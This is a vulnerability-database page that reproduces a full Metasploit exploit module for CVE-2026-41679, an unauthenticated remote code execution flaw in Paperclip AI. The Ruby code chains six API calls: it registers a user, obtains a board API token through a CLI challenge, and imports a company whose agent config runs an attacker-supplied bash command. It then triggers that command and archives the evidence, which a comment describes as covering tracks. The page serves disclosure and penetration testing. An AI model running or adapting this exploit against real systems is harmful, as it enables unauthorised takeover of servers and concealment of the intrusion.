Lucene search
K

📄 Paperclip AI Remote Code Execution

🗓️ 12 Jun 2026 00:00:00Reported by h00die-gr3y, SagilayaniType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

Paperclip AI unauthenticated RCE via six API calls (CVE-2026-41679).

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-41679
23 Apr 202600:53
attackerkb
Circl
CVE-2026-41679
10 Apr 202616:50
circl
CNNVD
Paperclip 授权问题漏洞
23 Apr 202600:00
cnnvd
CVE
CVE-2026-41679
23 Apr 202600:53
cve
Cvelist
CVE-2026-41679 Paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
23 Apr 202600:53
cvelist
GithubExploit
Exploit for CVE-2026-41679
24 Apr 202608:27
githubexploit
EUVD
EUVD-2026-25166
23 Apr 202600:53
euvd
Github Security Blog
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
10 Apr 202621:08
github
Metasploit
Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).
12 Jun 202619:02
metasploit
NVD
CVE-2026-41679
23 Apr 202602:16
nvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).',
            'Description' => %q{
              Paperclip is the operating system for your AI company.
              You set the goals, hire AI agents as employees, and watch them plan and execute work.
              Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679.
              An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip
              instance running in authenticated mode with default configuration. The entire chain is six API calls.
            },
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
              'Sagilayani https://github.com/sagilayani' # Discovery
            ],
            'References' => [
              ['CVE', '2026-41679'],
              ['GHSA', 'GHSA-68qg-g8mg-6pr7'],
              ['URL', 'https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux', 'osx'],
            'Privileged' => false,
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux', 'osx'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'Payload' => {
                    'Encoder' => 'cmd/base64',
                    'BadChars' => "\x20" # no space
                  }
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-04-10',
            'DefaultOptions' => {
              'SSL' => false,
              'RPORT' => 3100
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the Paperclip instance', '/'])
        ])
      end
    
      # Check if Paperclip instance is running and get the Paperclip version if published
      # return version number or 'N/A' (NOT AVAILABLE) else nil
      def get_paperclip_version
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'health')
        })
        return unless res&.code == 200 && res.body.include?('status') && res.body.include?('deploymentMode')
    
        # check for version
        if res.body.include?('version')
          res_json = res.get_json_document
          res_json['version'] unless res_json.blank?
        else
          'N/A'
        end
      end
    
      # CVE-2026-41679: Unauthenticated command injection leading to RCE via a chain of six API calls
      def execute_payload(cmd, _opts = {})
        # randomize email address, name and password to be used in POST requests
        email = Rex::Text.rand_mail_address
        email_array = email.split('@')
        name = email_array[0].split('.')[0]
        password = Rex::Text.rand_text_alphanumeric(12..20)
    
        # 1. sign-up and register with a new user and password
        vprint_status('Step 1: sign-up and register a new user.')
        vprint_good("user => #{email}, password => #{password}")
        post_data = {
          email: email.to_s,
          password: password.to_s,
          name: name.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-up', 'email'),
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && res.body.include?('createdAt')
          print_error('Step 1 failed: sign-up and register a new user.')
          return
        end
    
        # 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header.
        vprint_status('Step 2: sign-in with the new user credentials and get a session-cookie.')
        post_data = {
          email: email.to_s,
          password: password.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-in', 'email'),
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && res.get_cookies && res.body.include?('token')
          print_error('Step 2 failed: sign-in with new user credentials.')
          return
        end
    
        cookie = res.get_cookies
        vprint_good("cookie => #{cookie}")
    
        # 3. create a CLI challenge and grab the id, token and boardApiToken
        vprint_status('Step 3: create a CLI challenge and get an API token.')
        command = Rex::Text.rand_text_alpha(6..8)
        post_data = {
          command: command.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges'),
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id')
          print_error('Step 3 failed: create CLI challenge and get an API token.')
          return
        end
    
        res_json = res.get_json_document
        return if res_json.blank?
    
        id = res_json['id']
        token = res_json['token']
        @board_api_token = res_json['boardApiToken']
        vprint_good("API token => #{@board_api_token}")
    
        # 4. Approve in your own session using the token, id and session cookie
        # We will need to add the Origin header for next API calls otherwise they will fail
        vprint_status('Step 4: approve the challenge in your session.')
    
        @origin = "#{datastore['ssl'] ? 'https' : 'http'}://#{datastore['rhost']}:#{datastore['rport']}"
        post_data = {
          token: token.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges', id.to_s, 'approve'),
          'headers' => {
            'Origin' => @origin
          },
          'cookie' => cookie.to_s,
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && !res.body.include?('error')
          print_error('Step 4 failed: approve the challenge in your session.')
          return
        end
    
        # 5. Create a company and deploy an agent via import (authorization bypass)
        # This will configure the payload that will be executed by the process agent
        vprint_status('Step 5: create a company and deploy an agent with payload via import (authorization bypass).')
        vprint_good("payload => #{cmd}")
        post_data = {
          source: {
            type: 'inline',
            files: {
              'COMPANY.md': "---\nname: MI6\nslug: MI6\n---\nx",
              'agents/007/AGENTS.md': "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx",
              '.paperclip.yaml': "agents:\n  007:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - #{cmd}"
            }
          },
          target: { mode: 'new_company', newCompanyName: 'MI6' },
          include: { company: true, agents: true },
          agents: 'all'
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'companies', 'import'),
          'headers' => {
            'Authorization' => "Bearer #{@board_api_token}",
            'Origin' => @origin
          },
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && res.body.include?('id')
          print_error('Step 5 failed: create a company and deploy an agent with payload via import.')
          return
        end
    
        res_json = res.get_json_document
        return if res_json.blank?
    
        agent = res_json['agents']&.first
        agent_id = agent&.dig('id')
        @company_id = res_json['company']['id']
        vprint_good("company_id => #{@company_id}, agent_id => #{agent_id}")
    
        # 6. Run the agent and trigger the payload
        vprint_status('Step 6: run the agent and trigger the payload. You should get a session now ;-).')
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'agents', agent_id.to_s, 'wakeup'),
          'headers' => {
            'Authorization' => "Bearer #{@board_api_token}",
            'Origin' => @origin
          },
          'ctype' => 'application/json',
          'data' => nil
        })
        unless res&.code == 202
          print_error('Step 6 failed: run the agent and trigger the payload.')
        end
      end
    
      # try to archive the company and agent payload to cover our tracks
      def cleanup
        super
        # check if payload should be cleaned
        unless @company_id.nil?
          vprint_status('Cleaning up the mess...')
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'api', 'companies', @company_id.to_s, 'archive'),
            'headers' => {
              'Authorization' => "Bearer #{@board_api_token}",
              'Origin' => @origin
            },
            'ctype' => 'application/json'
          })
          if res&.code == 200 && res.body.include?('archived')
            print_good('Company and agent payload has been successfully archived.')
          else
            print_warning('Company and agent payload not archived. Try to remove it manually.')
          end
        end
      end
    
      def check
        version = get_paperclip_version
        return CheckCode::Safe('Can not find a Paperclip instance running.') if version.nil?
        return CheckCode::Detected('No Paperclip version found.') if version == 'N/A'
    
        version = Rex::Version.new(version)
        if version >= Rex::Version.new('2026.410.0')
          return CheckCode::Safe("Paperclip version #{version}")
        end
    
        CheckCode::Appears("Paperclip version #{version}")
      end
    
      def exploit
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_payload(payload.encoded)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.110
EPSS0.66423
SSVC
13